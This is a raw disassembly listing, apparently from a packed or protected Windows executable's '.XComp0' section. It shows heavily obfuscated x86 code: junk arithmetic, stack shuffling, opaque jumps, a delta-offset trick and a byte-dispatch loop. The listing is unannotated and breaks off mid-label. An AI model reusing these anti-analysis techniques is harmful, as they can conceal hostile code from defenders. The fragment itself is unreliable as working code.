1 jz short loc_5730FB loc_5730F2: ; CODE XREF: .XComp0:005730E7j cmp dword ptr [ebp+5F94E7Dh], 2 jnz short loc_573109 loc_5730FB: ; CODE XREF: .XComp0:005730F0j mov esi, [ebp+5F94E75h] lea eax, [ebp+5FBE74Eh] call eax loc_573109: ; CODE XREF: .XComp0:005730F9j cmp dword ptr [ebp+5F90C69h], 0 jz short loc_573118 call dword ptr [ebp+5F90775h] loc_573118: ; CODE XREF: .XComp0:00573110j lea eax, [ebp+5F942D2h] call eax cmp dword ptr [ebp+5F92DF5h], 2 jnz short loc_573158 mov esp, [ebp+5F918E9h] mov eax, [ebp+5F90151h] mov [esp], eax mov dword ptr [ebp+5F921A5h], 1 mov esi, [ebp+5F94E79h] mov ebp, [ebp+5F913D1h] mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- jmp short $+2 loc_573158: ; CODE XREF: .XComp0:00573127j mov dword ptr [ebp+5F921A5h], 1 mov esp, [ebp+5F918E9h] mov esi, [ebp+5F92BA5h] mov ebp, [ebp+5F913D1h] xor eax, eax retn 0Ch ; --------------------------------------------------------------------------- loc_573179: ; CODE XREF: .XComp0:005730CBj cmp dword ptr [ebp+5F90C69h], 0 jz short loc_573191 cmp dword ptr [ebp+5F90775h], 0 jz short loc_573191 call dword ptr [ebp+5F90775h] loc_573191: ; CODE XREF: .XComp0:00573180j ; .XComp0:00573189j mov esi, [ebp+5F94E75h] retn ; --------------------------------------------------------------------------- jmp loc_5731A5 ; --------------------------------------------------------------------------- db 28h, 5Ch, 0CFh dd 49F7B41Eh db 7Bh ; --------------------------------------------------------------------------- loc_5731A5: ; CODE XREF: .XComp0:00573198j jmp loc_5731B0 ; --------------------------------------------------------------------------- dw 95C6h dd 0E6C1BAF1h ; --------------------------------------------------------------------------- loc_5731B0: ; CODE XREF: .XComp0:loc_5731A5j mov dx, si sub edx, edx mov [ebp+5F92725h], eax push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5731CB ; --------------------------------------------------------------------------- loc_5731C9: ; CODE XREF: .XComp0:005731CEj inc eax inc edi loc_5731CB: ; CODE XREF: .XComp0:005731C7j cmp byte ptr [edi], 0 jnz short loc_5731C9 xor ecx, ecx mov edi, [ebp+8] jmp short loc_5731FA ; --------------------------------------------------------------------------- loc_5731D7: ; CODE XREF: .XComp0:005731FCj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5731EF ; --------------------------------------------------------------------------- loc_5731EC: ; CODE XREF: .XComp0:005731F2j mul ebx dec esi loc_5731EF: ; CODE XREF: .XComp0:005731EAj cmp esi, 0 ja short loc_5731EC pop ebx add ecx, eax pop eax inc edi dec eax loc_5731FA: ; CODE XREF: .XComp0:005731D5j or eax, eax jnz short loc_5731D7 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- add dx, 91AEh add edx, 21275692h mov eax, ecx jmp loc_599045 ; --------------------------------------------------------------------------- dd offset dword_5FF948 dw 0FF44h dd 0DD060012h, 0E000005Fh, 0A287FFDh, 1050000h, 2A0A28h dd 206026Ch, 20000h, 10000h, 30000h, 0B5ED0000h, 0FA5Dh dd 4 dup(0) dd 0AD5C0000h, 47090057h, 0EFBB0057h, 5D0A0057h, 0B6000057h dd 0E1FC0057h, 0DA460057h, 0A5340057h, 3FE90057h, 898B0057h dd 0E1130057h, 91A80057h, 8030057h, 96FA0058h, 17FB0057h dd 0A0CD0058h, 0C4EC0057h, 489F0057h, 3E130057h, 0E4D20057h dd 75AB0057h, 0FBB20057h, 50480057h, 4D290057h, 0A5B20057h dd 73A90057h, 956A0057h, 2AB90057h, 5FED0058h, 65C50057h dd 10F70057h, 633C0058h, 79BA0057h, 52290057h, 0D4D70057h dd 0FFD00057h, 0CCF10057h, 39C70057h, 0E2860057h, 0C8C40057h dd 0ED3F0057h, 5FA0057h, 519B0058h, 0EBD20057h, 77A0057h dd 452E0058h, 0F9D10057h, 84F70057h, 70A20057h, 0AD810057h dd 0C1140057h, 0F7A0057h, 0F0380058h, 2DE10057h, 31E60058h dd 0B6B30058h, 9C000057h, 0CC410057h, 24EB0057h, 0C4E60058h dd 3C8F0057h, 78DA0057h, 0D0800057h, 81840057h, 72430057h dd 4E370057h, 50FC0057h, 36910057h, 3F640058h, 99090057h dd 0C25B0057h, 5510057h, 14BD0058h, 63190058h, 3A410057h dd 37B30057h, 0E2CD0057h, 45130057h, 0F7600057h, 48CF0057h dd 0AE90057h, 3AE70058h, 59060057h, 73360057h, 0AE170057h dd 0C0320057h, 5C8B0057h, 0B8580057h, 71350057h, 41230057h dd 0F3DF0057h, 13630057h, 2FE60058h, 909C0058h, 0F23F0057h dd 586A0057h, 4DF40057h, 0FCE10057h, 4E0A0057h, 2320057h dd 0AC0F0058h, 0A7210057h, 84970057h, 409A0057h, 6D930057h dd 0EA000057h, 73190057h, 40E30057h, 140D0057h, 2EE80058h dd 0E0340058h, 0FD5F0057h, 0ADD10057h, 28C90057h, 90220058h dd 0E1790057h, 940B0057h, 7F190057h, 2E350057h, 0CA1A0058h dd 29960057h, 6EC70058h, 804B0057h, 22AD0057h, 0D0180058h dd 48580057h, 99F70057h, 74630057h, 0A4720057h, 3E5B0057h dd 880C0057h, 0F7160057h, 381A0057h, 88C10057h, 0EE6A0057h dd 0C61A0057h, 0BDFC0057h, 337D0057h, 0F2F20058h, 343B0057h dd 4FB80058h, 62B0057h, 36FE0058h, 1F3D0058h, 0CDF0058h dd 7A8D0058h, 64980057h, 63790057h, 5AC80057h, 11340057h dd 0C29D0058h, 1D650057h, 0A3CA0058h, 0E0DA0057h, 0ABD00057h dd 224D0057h, 0CFBC0058h, 31470057h, 397F0058h, 696C0057h dd 0BA9C0057h, 34040057h, 0E7FD0058h, 19E80057h, 6B430058h dd 0D3B20057h, 0F46B0057h db 57h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_5734FA: ; CODE XREF: .XComp0:005990B5j ; .XComp0:005990BFj ... pusha pushf cld call $+5 pop edi sub edi, 5F97F15h mov eax, edi add edi, 5F97C2Dh cmp eax, [edi+2Ch] jnz short loc_573518 jmp short loc_57352B ; --------------------------------------------------------------------------- loc_573518: ; CODE XREF: sub_5A47B5-312A1j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_573527 ; --------------------------------------------------------------------------- loc_573522: ; CODE XREF: sub_5A47B5-3128Cj add [edi+ecx*4+40h], eax dec ecx loc_573527: ; CODE XREF: sub_5A47B5-31295j or ecx, ecx jnz short loc_573522 loc_57352B: ; CODE XREF: sub_5A47B5-3129Fj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_573538: ; CODE XREF: sub_5A47B5-31276j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_573538 loc_573541: ; CODE XREF: .XComp0:005735A6j ; .XComp0:loc_573685j ... lodsb jmp loc_58352F ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_573547: ; CODE XREF: .XComp0:0057A9F0j pop esi jmp loc_5763B0 ; --------------------------------------------------------------------------- loc_57354D: ; CODE XREF: .XComp0:005761C3j push ebx jmp loc_57D614 ; --------------------------------------------------------------------------- loc_573553: ; CODE XREF: .XComp0:0057C368j mov edi, [esp] add esp, 4 sub edi, 780035C5h sub edi, 28C64E10h add ebp, edi pop edi jmp loc_582CB2 ; --------------------------------------------------------------------------- loc_57356D: ; CODE XREF: .XComp0:0057413Aj pop ebx jmp loc_57DD78 ; --------------------------------------------------------------------------- loc_573573: ; CODE XREF: .XComp0:005793FDj add eax, ebp pop ebp inc eax add eax, 0E68DA2ABh and ecx, eax push dword ptr [esp] pop eax jmp loc_581B7B ; --------------------------------------------------------------------------- loc_573587: ; CODE XREF: .XComp0:00573FE4j pop eax push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov [edi+eax*4+1], cl push dword ptr [esp] pop ecx add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_5735AB: ; CODE XREF: .XComp0:005736C8j push esp jmp loc_57847E ; --------------------------------------------------------------------------- loc_5735B1: ; CODE XREF: .XComp0:00582AA3j xor ebp, edx inc edx jmp loc_576509 ; --------------------------------------------------------------------------- loc_5735B9: ; CODE XREF: .XComp0:0057C428j add esp, 4 push edi jmp loc_5740EB ; --------------------------------------------------------------------------- loc_5735C5: ; CODE XREF: .XComp0:005742B1j sub esi, 171F6048h add esi, 51205248h jmp loc_57ED8D ; --------------------------------------------------------------------------- loc_5735D6: ; CODE XREF: .XComp0:00578B37j xchg ebp, [esp] mov esp, [esp] push esi mov esi, esp jmp loc_57639F ; --------------------------------------------------------------------------- loc_5735E4: ; CODE XREF: .XComp0:005810D3j push 2F4h mov [esp], esi jmp loc_575457 ; --------------------------------------------------------------------------- loc_5735F1: ; CODE XREF: .XComp0:0057E02Fj mov ecx, [esp] push edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edi jmp loc_57F86E ; --------------------------------------------------------------------------- loc_57360B: ; CODE XREF: .XComp0:00575270j xchg edi, [esp] pop esp push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_57ED6F ; --------------------------------------------------------------------------- loc_573623: ; CODE XREF: .XComp0:0057AEA4j not edi jmp loc_576AD3 ; --------------------------------------------------------------------------- loc_57362A: ; CODE XREF: .XComp0:00580DAEj push 4 push dword ptr [esp] jmp loc_57D76B ; --------------------------------------------------------------------------- loc_573637: ; CODE XREF: .XComp0:0058289Bj mov [esp], ax mov ah, 84h sub esp, 4 mov [esp], edx mov dh, ah mov cl, dh push dword ptr [esp] pop edx jmp loc_57CBD8 ; --------------------------------------------------------------------------- loc_573650: ; CODE XREF: .XComp0:0057875Aj push esi mov esi, 0CF0E8A2Bh xor ecx, esi jmp loc_576242 ; --------------------------------------------------------------------------- loc_57365D: ; CODE XREF: .XComp0:005737F0j sub bl, 14h sub bl, ah add bl, 14h jmp loc_581478 ; --------------------------------------------------------------------------- loc_57366A: ; CODE XREF: .XComp0:0057FECDj push 445B6D7Eh mov ecx, [esp] add esp, 4 sub ecx, 19439107h mov ebx, ecx pop ecx sub edx, ebx jmp loc_582BA9 ; --------------------------------------------------------------------------- loc_573685: ; CODE XREF: .XComp0:005813ECj jmp loc_573541 ; --------------------------------------------------------------------------- loc_57368A: ; CODE XREF: .XComp0:005764BAj push 6609h mov [esp], edx push ebx push 2724FA4h pop ebx shl ebx, 1 jmp loc_575A9A ; --------------------------------------------------------------------------- loc_5736A0: ; CODE XREF: .XComp0:00582F86j pop eax jmp loc_577443 ; --------------------------------------------------------------------------- loc_5736A6: ; CODE XREF: .XComp0:0057C06Aj sub esp, 4 mov [esp], edi jmp loc_573F7A ; --------------------------------------------------------------------------- loc_5736B4: ; CODE XREF: .XComp0:0057F7EEj pop ebx push eax mov eax, 26512588h jmp loc_57CA3F ; --------------------------------------------------------------------------- loc_5736C0: ; CODE XREF: .XComp0:005805F5j push 6759h mov [esp], edx jmp loc_5735AB ; --------------------------------------------------------------------------- loc_5736CD: ; CODE XREF: .XComp0:0057F849j mov [esp], eax mov ah, 5Bh push ecx mov cl, 5Bh jmp loc_5828A0 ; --------------------------------------------------------------------------- loc_5736DA: ; CODE XREF: .XComp0:005772EBj mov [esp], ebp push edi mov edi, 8954F48h or edi, 502402D3h add edi, 66AE7F2Fh sub edi, 0BF63CF08h mov ebp, edi mov edi, [esp] add esp, 4 jmp loc_5748B0 ; --------------------------------------------------------------------------- loc_573705: ; CODE XREF: .XComp0:00580B61j mov [esp], edx push esi push ebx push edi mov edi, 31997513h jmp loc_580ED9 ; --------------------------------------------------------------------------- loc_573715: ; CODE XREF: .XComp0:005751D1j sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 5A762F2h jmp loc_5778E2 ; --------------------------------------------------------------------------- loc_57372C: ; CODE XREF: .XComp0:00580C47j sub cl, dh pop edx xor cl, 20h mov dl, cl pop ecx inc dl dec dl jmp loc_57EBF2 ; --------------------------------------------------------------------------- loc_57373E: ; CODE XREF: .XComp0:0057682Aj add ecx, 4 jmp loc_57C7CA ; --------------------------------------------------------------------------- loc_573749: ; CODE XREF: .XComp0:00574FB3j push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 4960h mov [esp], ecx jmp loc_5774E7 ; --------------------------------------------------------------------------- loc_573760: ; CODE XREF: .XComp0:00580A7Cj push dword ptr [esp] pop ecx jmp loc_5747EA ; --------------------------------------------------------------------------- loc_573769: ; CODE XREF: .XComp0:005815FFj xchg ecx, [esp] pop esp mov [esp], esi push 1891h mov [esp], edi jmp loc_58004A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57377D: ; CODE XREF: sub_5A47B5-25C47j mov al, dl not al mov dl, al pop ax add dl, 83h xor dl, 59h jmp loc_58053D ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_573790: ; CODE XREF: .XComp0:005814A8j xor edx, ebx pop ebx add ebp, edx pop edx xchg ebp, [esp] pop esp cmp cl, al pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_5737A2: ; CODE XREF: .XComp0:0057A3FFj pop esp mov [esp], ecx jmp loc_577BAC ; --------------------------------------------------------------------------- loc_5737AB: ; CODE XREF: .XComp0:00578986j pop eax sub al, bh jmp loc_57882C ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi push 5689h mov [esp], esp jmp loc_57B103 ; --------------------------------------------------------------------------- loc_5737E3: ; CODE XREF: .XComp0:005828A3j neg cl dec cl shl cl, 6 sub cl, 1Ch sub ah, cl pop ecx jmp loc_57365D ; --------------------------------------------------------------------------- loc_5737F5: ; CODE XREF: .XComp0:005821E0j mov ebx, [esp] add esp, 4 mov esi, ecx pop ecx add ebp, esi pop esi xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_579332 ; --------------------------------------------------------------------------- loc_573812: ; CODE XREF: .XComp0:00582230j push small word ptr [eax] jmp loc_57D5D2 ; --------------------------------------------------------------------------- mov ax, [esp] push 2F5Eh mov [esp], ebp push 5A05h push esp pop dword ptr [esp] add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 jmp loc_582716 ; --------------------------------------------------------------------------- loc_573841: ; CODE XREF: .XComp0:0057F2F6j push ebx jmp loc_582A95 ; --------------------------------------------------------------------------- loc_573847: ; CODE XREF: .XComp0:0057BC18j push cx mov cl, 78h jmp loc_5786AB ; --------------------------------------------------------------------------- loc_573850: ; CODE XREF: .XComp0:0057921Ej mov bx, [esp] jmp loc_582D53 ; --------------------------------------------------------------------------- loc_573859: ; CODE XREF: .XComp0:0057AC68j add ebp, eax push esi mov esi, 4CB7209Ch xor esi, 34835F38h neg esi inc esi add esi, 814DEE70h jmp loc_578B2A ; --------------------------------------------------------------------------- loc_573875: ; CODE XREF: .XComp0:0058089Dj sub dh, 0EBh sub esp, 2 mov [esp], cx mov ch, 0B0h jmp loc_5812D8 ; --------------------------------------------------------------------------- loc_573886: ; CODE XREF: .XComp0:00579497j shr bh, 5 shr bh, 4 inc bh add bh, 0C4h mov dh, bh jmp loc_5773DF ; --------------------------------------------------------------------------- loc_573898: ; CODE XREF: .XComp0:0057A9D4j pop ecx add ebp, esi pop esi push ebx mov ebx, 4 sub ebp, ebx pop ebx push ebp push dword ptr [esp+4] jmp loc_579372 ; --------------------------------------------------------------------------- loc_5738AF: ; CODE XREF: .XComp0:0057D77Cj pop esp jmp loc_5796DC ; --------------------------------------------------------------------------- loc_5738B5: ; CODE XREF: .XComp0:0057ACB4j mov edi, 0BE5614Bh inc edi sub edi, 0CDC2FF64h or ebx, edi pop edi dec ebx xor ebx, 760A7C94h xor ebx, 668A73ADh push eax mov eax, ebx mov esi, eax pop eax push dword ptr [esp] mov ebx, [esp] jmp loc_57D08E ; --------------------------------------------------------------------------- loc_5738E2: ; CODE XREF: .XComp0:0057BEEAj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebx mov ebx, 1D1D0C37h push eax mov eax, 1 sub ebx, 45901611h sub ebx, eax add ebx, 45901611h pop eax push ebp push edi jmp loc_57A443 ; --------------------------------------------------------------------------- loc_573913: ; CODE XREF: .XComp0:0057BB44j push ecx mov edx, [esp] add esp, 4 push edx pop ebp pop edx mov ecx, [esp] add esp, 4 push ebx mov ebx, 63F741ECh sub ebx, 7322EAEh and ebp, ebx pop ebx dec ebp jmp loc_57B183 ; --------------------------------------------------------------------------- loc_57393B: ; CODE XREF: .XComp0:0057EFB6j push ebx jmp loc_57603A ; --------------------------------------------------------------------------- loc_573941: ; CODE XREF: .XComp0:0058304Dj pop eax push dword ptr [esp] pop ebp add esp, 4 add ebx, 0E2E4F3CBh and eax, ebx mov ebx, [esp] add esp, 4 or eax, eax jz loc_5788F1 push eax push 6E9h mov [esp], esp push ecx mov ecx, 4 add [esp+4], ecx pop ecx mov eax, [esp] push eax jmp loc_5765E9 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl dword ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57398E: ; CODE XREF: .XComp0:00582E08j or esi, 6A2F1807h add esi, 9000A553h add ecx, esi mov esi, [esp] jmp loc_57FF90 ; --------------------------------------------------------------------------- loc_5739A4: ; CODE XREF: .XComp0:0057F2FDj add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ecx mov ecx, esp jmp loc_578BA6 ; --------------------------------------------------------------------------- loc_5739B9: ; CODE XREF: .XComp0:0057BC93j pop edi push 131Bh mov [esp], ebx jmp loc_575032 ; --------------------------------------------------------------------------- lodsw push bx mov bx, 4A49h add ax, bx jmp loc_57C967 ; --------------------------------------------------------------------------- loc_5739D7: ; CODE XREF: .XComp0:0057B92Ej add dx, cx jmp loc_57903D ; --------------------------------------------------------------------------- loc_5739DF: ; CODE XREF: .XComp0:0057B70Fj add ebx, 4 jmp loc_57604A ; --------------------------------------------------------------------------- loc_5739EA: ; CODE XREF: .XComp0:0057AB9Cj mov esp, [esp] sub esp, 4 mov [esp], edi push ecx mov ecx, 65310DC7h jmp loc_574C33 ; --------------------------------------------------------------------------- loc_573A01: ; CODE XREF: .XComp0:00574A27j mov ebp, 1A3E133Eh not ebp add ebp, 334D5694h sub esp, 4 mov [esp], ebx mov ebx, 29FF75DBh jmp loc_57B28F ; --------------------------------------------------------------------------- loc_573A1E: ; CODE XREF: .XComp0:005787AEj mov [esp], edx push eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_573A28: ; CODE XREF: sub_5A47B5-2B798j mov ch, 77h shl ch, 1 sub ch, 64h sub al, ch pop ecx push edx push eax mov al, 1Eh sub esp, 4 jmp loc_581160 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- push 0E2Eh mov [esp], edx jmp loc_573541 ; --------------------------------------------------------------------------- loc_573A4E: ; CODE XREF: .XComp0:00576248j add esp, 4 jmp loc_580517 ; --------------------------------------------------------------------------- loc_573A59: ; CODE XREF: .XComp0:00578CC3j sub edx, ebp pop ebp push edi mov edi, 14D83B41h add eax, edi pop edi add eax, edx push 727Bh jmp loc_57ABEF ; --------------------------------------------------------------------------- loc_573A71: ; CODE XREF: .XComp0:00582AABj add ebx, 4 jmp loc_5801B4 ; --------------------------------------------------------------------------- loc_573A7C: ; CODE XREF: .XComp0:0057F6B6j push esi push edx mov edx, 458736E1h and edx, 24B02A55h xor edx, 18DA67F6h and edx, 588F2ADEh jmp loc_573E08 ; --------------------------------------------------------------------------- loc_573A9A: ; CODE XREF: .XComp0:00577E11j add edi, ebp pop ebp xchg edi, [esp] pop esp jmp loc_581947 ; --------------------------------------------------------------------------- loc_573AA6: ; CODE XREF: .XComp0:00580735j sub eax, 61EC5B52h pop ebp pop ecx mov ebx, 5E963E7h xor ebx, eax push dword ptr [esp] jmp loc_576E85 ; --------------------------------------------------------------------------- loc_573ABC: ; CODE XREF: .XComp0:005828F6j pop edx push 5C1Dh mov [esp], ebp push ebx mov ebx, 4CD25480h sub [esp+4], ebx pop ebx pop ebx jmp loc_577AC4 ; --------------------------------------------------------------------------- loc_573AD6: ; CODE XREF: .XComp0:00580CE5j push edi mov edi, esp add edi, 4 sub esp, 4 jmp loc_574202 ; --------------------------------------------------------------------------- sub esp, 4 jmp loc_577DCD ; --------------------------------------------------------------------------- loc_573AF2: ; CODE XREF: .XComp0:00582960j sub ebx, 1C3B6869h sub ebx, 1 add ebx, 1 shl ebx, 8 push ecx mov ecx, 0F6EA6A04h jmp loc_573F07 ; --------------------------------------------------------------------------- loc_573B0C: ; CODE XREF: .XComp0:0057D60Fj add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 74B415BAh jmp loc_57E3AF ; --------------------------------------------------------------------------- loc_573B21: ; CODE XREF: .XComp0:0058359Dj push ebx push 3A902B5Bh jmp loc_577500 ; --------------------------------------------------------------------------- loc_573B2C: ; CODE XREF: .XComp0:0058372Cj pop dword ptr [esp] jmp loc_579423 ; --------------------------------------------------------------------------- loc_573B34: ; CODE XREF: .XComp0:00578FCBj push small 54DEh mov [esp], dx push ax pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_573B44: ; CODE XREF: .XComp0:00576289j mov [esp], esi jmp loc_57EE16 ; --------------------------------------------------------------------------- loc_573B4C: ; CODE XREF: .XComp0:00580A1Aj mov edi, [esp] jmp loc_579F56 ; --------------------------------------------------------------------------- loc_573B54: ; CODE XREF: .XComp0:00578312j and eax, ebx mov ebx, [esp] add esp, 4 shr eax, 0Eh xor eax, ecx sub esp, 4 mov [esp], eax push 363Bh mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] push ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp jmp loc_57BFFB ; --------------------------------------------------------------------------- loc_573B89: ; CODE XREF: .XComp0:00582AB4j push eax mov eax, esp add eax, 4 jmp loc_5793E5 ; --------------------------------------------------------------------------- loc_573B96: ; CODE XREF: .XComp0:00575E4Dj sub esp, 4 jmp loc_5758F6 ; --------------------------------------------------------------------------- loc_573BA1: ; CODE XREF: .XComp0:0057C4F6j mov edx, esp jmp loc_579EB5 ; --------------------------------------------------------------------------- loc_573BA8: ; CODE XREF: .XComp0:005768F8j sub eax, 4666A921h sub edi, eax pop eax mov ecx, edi pop edi push esi mov esi, 12053172h push 0 sub [esp], esi pop esi not esi neg esi xchg eax, esi not eax xchg eax, esi not esi xor esi, 8BEAE146h add ebp, esi pop esi add ebp, ecx jmp loc_57D560 ; --------------------------------------------------------------------------- loc_573BDC: ; CODE XREF: .XComp0:0057A571j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push 705Bh mov [esp], ebp mov ebp, 273C259Fh jmp loc_58260B ; --------------------------------------------------------------------------- loc_573BFD: ; CODE XREF: .XComp0:0057C74Fj pop dword ptr [esp] jmp loc_5781F3 ; --------------------------------------------------------------------------- loc_573C05: ; CODE XREF: .XComp0:005807C6j add edx, ebp jmp loc_57BF76 ; --------------------------------------------------------------------------- loc_573C0C: ; CODE XREF: .XComp0:005822C4j mov cl, 28h xor dl, cl pop cx add dl, 71h dec dl xor dl, 7Dh mov al, dl mov edx, [esp] add esp, 4 shr al, 5 sub al, 9Dh inc al push ebx mov bh, 91h dec bh sub bh, 5Fh add bh, 0D3h add al, bh pop ebx not al xor al, 0F4h push ebx mov bh, al jmp loc_579168 ; --------------------------------------------------------------------------- loc_573C46: ; CODE XREF: .XComp0:005830F7j sub dword ptr [esp], 32322573h mov esi, [esp] add esp, 4 add esi, 32322573h pop edi push ecx mov ecx, 16DC51A1h sub ecx, 1 jmp loc_5767D5 ; --------------------------------------------------------------------------- loc_573C68: ; CODE XREF: .XComp0:00582AC5j add ecx, 4 push eax mov eax, 3F6558B4h shl eax, 4 shl eax, 2 add eax, 44CF73DCh jmp loc_582D0A ; --------------------------------------------------------------------------- loc_573C84: ; CODE XREF: .XComp0:0057AC0Aj add eax, 4 push edi jmp loc_57F89C ; --------------------------------------------------------------------------- push dword ptr [esp] pop ecx sub esp, 4 mov [esp], ebp mov ebp, esp push esi mov esi, 2F03269Bh shl esi, 5 shr esi, 5 sub esi, 0E24CD446h jmp loc_580D87 ; --------------------------------------------------------------------------- loc_573CB2: ; CODE XREF: .XComp0:005761ACj sub edi, 6AF74365h shl edi, 3 not edi inc edi add edi, 611B06B9h jmp loc_583023 ; --------------------------------------------------------------------------- loc_573CC9: ; CODE XREF: .XComp0:0057EC87j mov dl, 2Fh jmp loc_581ACF ; --------------------------------------------------------------------------- loc_573CD0: ; CODE XREF: .XComp0:00576195j mov edx, 48DE0649h jmp loc_57D98C ; --------------------------------------------------------------------------- loc_573CDA: ; CODE XREF: .XComp0:0057A8C2j pop ecx push ecx mov ch, 0CAh sub al, ch pop ecx sub al, cl add al, 0CAh sub al, 38h jmp loc_58293C ; --------------------------------------------------------------------------- loc_573CEC: ; CODE XREF: .XComp0:0057DF48j mov eax, esi mov ecx, eax pop eax pop esi jmp loc_577438 ; --------------------------------------------------------------------------- loc_573CF7: ; CODE XREF: .XComp0:0057FAABj push esp push dword ptr [esp] pop edi add esp, 4 jmp loc_57ADF0 ; --------------------------------------------------------------------------- loc_573D04: ; CODE XREF: .XComp0:00574D38j pop eax push edi mov edi, 1AA0279Ch or edi, 0DF26711h dec edi shl edi, 1 not edi push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ecx push ebx push edx mov edx, 3EAD38C0h mov ebx, edx pop edx jmp loc_57EA08 ; --------------------------------------------------------------------------- loc_573D3B: ; CODE XREF: .XComp0:005748CAj pop eax mov edx, [esp] add esp, 4 mov ecx, [esp] add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_573D50: ; CODE XREF: .XComp0:0057B573j or esi, 55212EACh xor esi, 6B8B35CEh add esi, 46C3938h sub esi, 0FF11DB17h jmp loc_574FD1 ; --------------------------------------------------------------------------- loc_573D6D: ; CODE XREF: .XComp0:00575628j sub edi, 1BC7A33h pop edx xchg edi, [esp] jmp loc_577CD3 ; --------------------------------------------------------------------------- loc_573D7C: ; CODE XREF: .XComp0:00575DB5j push edx push edi jmp loc_575589 ; --------------------------------------------------------------------------- loc_573D83: ; CODE XREF: .XComp0:00583592j pop esp mov [esp], ecx mov ch, 7Fh jmp loc_578471 ; --------------------------------------------------------------------------- loc_573D8E: ; CODE XREF: .XComp0:0057E131j pop ecx mov edx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] jmp loc_575183 ; --------------------------------------------------------------------------- loc_573DBC: ; CODE XREF: .XComp0:0057BF26j mov [esp], edx push edi mov edi, esp add edi, 4 sub edi, 4 jmp loc_57644A ; --------------------------------------------------------------------------- loc_573DD3: ; CODE XREF: .XComp0:00580E8Ej mov esp, [esp] add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_57A4B6 ; --------------------------------------------------------------------------- loc_573DEA: ; CODE XREF: .XComp0:0057ABAFj pop esi add edi, ebx pop ebx add ecx, edi push dword ptr [esp] jmp loc_57A974 ; --------------------------------------------------------------------------- loc_573DF8: ; CODE XREF: .XComp0:00583436j mov [esp], ebp push 53DF63A4h mov ebp, [esp] jmp loc_583636 ; --------------------------------------------------------------------------- loc_573E08: ; CODE XREF: .XComp0:00573A95j add edx, 74024B84h jmp loc_5766B6 ; --------------------------------------------------------------------------- push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_57BA48 ; --------------------------------------------------------------------------- loc_573E2A: ; CODE XREF: .XComp0:00576756j or ebx, 6753AC5h xor ebx, 6FD3AE1h add esi, ebx pop ebx add esi, 4 xchg esi, [esp] pop esp jmp loc_580220 ; --------------------------------------------------------------------------- loc_573E48: ; CODE XREF: .XComp0:00583466j mov edi, esp add edi, 4 add edi, 4 jmp loc_57A54F ; --------------------------------------------------------------------------- lodsb add al, 45h jmp loc_57C895 ; --------------------------------------------------------------------------- loc_573E63: ; CODE XREF: .XComp0:00575018j mov esp, [esp] xor [esp], eax jmp loc_57BD3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_573E6E: ; CODE XREF: sub_5A47B5-260EEj add cl, dh pop edx shr cl, 5 xor cl, 5Bh push edx jmp loc_582702 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_573E7D: ; CODE XREF: .XComp0:0057BC25j add ecx, 3A672C44h sub ecx, 0CCF0FCAh push dword ptr [esp] pop edx push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp jmp loc_575EAB ; --------------------------------------------------------------------------- loc_573EA8: ; CODE XREF: .XComp0:0057BA6Fj pop ecx jmp loc_5832E4 ; --------------------------------------------------------------------------- loc_573EAE: ; CODE XREF: .XComp0:0057B155j add al, 2Eh sub al, dl push edx mov dl, 2Eh sub al, dl jmp loc_581016 ; --------------------------------------------------------------------------- loc_573EBC: ; CODE XREF: .XComp0:0057FBA5j push esi mov esi, 516C47C1h sub esi, 5B5C41DBh add ecx, esi pop esi add edi, ecx jmp loc_57EDFE ; --------------------------------------------------------------------------- loc_573ED2: ; 